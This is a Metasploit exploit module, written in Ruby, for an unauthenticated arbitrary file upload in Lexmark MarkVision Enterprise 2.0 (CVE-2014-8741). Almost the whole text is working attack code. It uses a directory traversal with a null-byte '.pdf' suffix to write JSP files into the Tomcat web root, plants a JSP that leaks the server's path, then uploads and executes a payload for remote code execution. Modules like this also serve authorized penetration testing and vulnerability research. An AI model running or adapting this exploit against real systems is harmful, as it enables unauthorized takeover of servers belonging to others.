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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name'=> 'Lexmark MarkVision Enterprise Arbitrary File Upload', 'Description' => %q{ This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1. A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated attacker to upload arbitrary files, including arbitrary JSP code. This module has been tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2. }, 'Author'=> [ 'Andrea Micalizzi', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ ['CVE', '2014-8741'], ['ZDI', '14-410'], ['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US'] ], 'Privileged'=> true, 'Platform'=> 'win', 'Arch'=> ARCH_JAVA, 'Targets' => [ [ 'Lexmark Markvision Enterprise 2.0', { } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Dec 09 2014')) register_options( [ Opt::RPORT(9788), OptString.new('TARGETURI', [true, 'ROOT path', '/']) ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html') }) version = nil if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/ version = $1 else return Exploit::CheckCode::Unknown end if Gem::Version.new(version) <= Gem::Version.new('2.0.0') return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit jsp_leak = jsp_path jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp" # By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled # Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf" print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...") if upload_file(traversal_leak, jsp_leak) print_good("#{peer} - JSP successfully uploaded") else fail_with(Failure::Unknown, "#{peer} - JSP upload failed") end res = execute(jsp_name_leak) if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/ upload_path = $1 print_good("#{peer} - Working directory found in #{upload_path}") register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak)) else print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required") end jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" jsp_payload = payload.encoded traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf" print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...") if upload_file(traversal_payload, jsp_payload) print_good("#{peer} - JSP successfully uploaded") register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path else fail_with(Failure::Unknown, "#{peer} - JSP upload failed") end print_status("#{peer} - Executing payload...") execute(jsp_payload_name, 3) end def upload_file(filename, contents) good_signature = rand_text_alpha(4 + rand(4)) bad_signature = rand_text_alpha(4 + rand(4)) post_data = Rex::MIME::Message.new post_data.add_part(good_signature, nil, nil, 'form-data; name="success"') post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"') post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"") res = send_request_cgi( { 'uri'=> normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'), 'method' => 'POST', 'data' => post_data.to_s, 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}" }) if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature) return true else return false end end def execute(jsp_name, time_out = 20) res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path.to_s, jsp_name), 'method' => 'GET' }, time_out) res end def jsp_path jsp =<<-EOS <%@ page language="Java" import="java.util.*"%> <% out.println("Path:" + System.getProperty("catalina.home")); %> EOS jsp end end |
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